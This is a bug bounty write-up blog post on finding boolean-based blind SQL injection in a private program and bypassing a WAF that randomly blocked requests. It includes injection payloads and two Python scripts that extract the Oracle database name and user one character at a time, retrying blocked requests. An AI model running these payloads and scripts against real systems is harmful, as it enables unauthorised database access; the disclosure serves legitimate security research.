SQL Injection and A silly WAF



Hi Folks,
Today I'll be writing about some interesting SQL injection vulnerabilities I recently found.

This is a private program so I won't be mentioning who the vendor is.

#1: WAF? ok!


At a lovely hacking night I started testing for a private bug bounty program, after about 30 minutes of throwing random single and double quotes inside all the parameters, one of the endpoints returned an error saying: {"error":"An unexpected error has occured"}

So I looked at the request and set the value of the parameter to `23' and '1'='1` and as expected the endpoint returned valid results which means it's vulnerable to SQL injection!

That's it, a lovely basic Boolean-Based SQL injection let's write the report and get a nice bounty!

But...
Image result for no meme
THE WAF!


While further exploiting this vulnerability to extract data from the database as a proof of concept, the endpoint was returning {"error":"undergoing corrective maintenance"} even to normal requests without any SQLi payloads. I later realized that this is probably the WAF blocking some random requests when it suspects an IP address which explains why other researchers haven't reported this obvious SQLi before (maybe they thought it was a false-positive. I also thought that, it took me some time to understand what was going on!)

So I wrote a python script that detects when the WAF blocks a request if the response contains "undergoing corrective maintenance" and repeats it until we get response from the server (If we get "Error" or "True" that means we are talking to the server):


import requests
c = {}  # Cookies
s = '_-@.abcdefghijklmnopqrstuvwxyz0123456789'
res = ''
restart = True
while(restart):
  restart = False
  for i in s:
   if(i == '_'):
     i = '\\_'
  # print i
   p = "23' AND (select lower(ora_database_name) from dual) like '"+str(res)+str(i)+"%" # SQL Query
   try:
    r = requests.post("http://target/vulnerable",data={"serialNumber":p}, headers=c)
   except requests.exceptions.Timeout as e:
    print "Timed out"
   while('undergoing corrective' in r.content): # Silly WAF? repeat the request
     print "Repeating Request"
     r = requests.post("http://target/vulnerable",data={"serialNumber":p}, headers=c)
   if "SESSION_EXPIRED" in r.content:
       print "ERROR - SESSION_EXPIRED"
       break
   if "true" in r.content: ## No error, correct char
    res+=i
    print res , "found"
    restart = True
    break

The PoC worked, I reported the vulnerability and received the bounty.

I didn't stop right there, now knowing how the WAF works, I kept testing all other endpoints and found a couple more with the same technique.

Ok, that probably was not that hard, let's move on to the next level.

#2: Fuck you WAF! 


One of the endpoints (a non-json one) was also vulnerable to boolean based sql injection similar to the one above, but the WAF this time was acting differently.
When my SQL query evaluated to `true` the response had a specific word, let's say `2222`, but when it evaluated to false, the application returned a static error page.

The problem was that the WAF was returning the exact same response as when the query evaluated to false which means I can't differentiate between a response that was sent by the WAF and a response that was sent by the server when the query is evaluated to false as they both are exactly the same! 

Image result for No god no gif

I kept trying to bypass the WAF but no luck, it was returning the same error page for random requests even when the query evaluated to true so I wasn't able to extract anything from the database.

I was about to give up when I came across an idea to write a python script that repeats any request that returns an error page (which means the query was evaluated to false) for 5 times to make sure we get response from the server not the WAF since the WAF was blocking random requests and it actually WORKED!


import requests

c = {} # cookies
s = '_-@.abcdefghijklmnopqrstuvwxyz0123456789'
res = ''
restart = True
x = 0
r = ''
while(restart):
  restart = False
  for i in s:
   x = 0
   if(i == '_'):
     i = '\\_'
   p = "6214111' and (SELECT lower(user) from dual) like '"+str(res)+str(i)+"%,2222" # SQL Query
   try:
    r = requests.post("https://target/vulnerable2/",data={"Nbr":p}, headers=c)
   except requests.exceptions.Timeout as e:
    print "Timed out"
   if "2222" not in r.content:
    while("2222" not in r.content and x < 5): ## repeat 5 times to make sure we are talking to the server :)  
      r = requests.post("https://target/vulnerable2/",data={"Nbr":p}, headers=c)
      x += 1
   else:
    res+=str(i)
    print res , "found"
    restart = True
    break
   if "2222" in r.content:
       res+=str(i)
       print res , "found"
       restart = True
       break

Again, bug hunted, silly WAF beaten, report sent and bounty granted!

I wanted to write about another interesting SQL injection on the same program but since it's a little bit different and has nothing to do with the WAF, I will keep it for the next post.

That's it for today, if you have any questions drop me a tweet @Zombiehelp54 

Comments

  1. Nice idea,keep sharing your ideas with us.i hope this informations will be helpful for the new learners.

    Education
    Technology

    ReplyDelete
  2. Hi sir .I think i found boolen based sql injection but problem is it is in image download functionality.so when I try to use version() in vulnerable column it isn't printing version.please help

    ReplyDelete

Post a Comment

Popular posts from this blog

Handlebars template injection and RCE in a Shopify app

XSS vulnerability in Google image search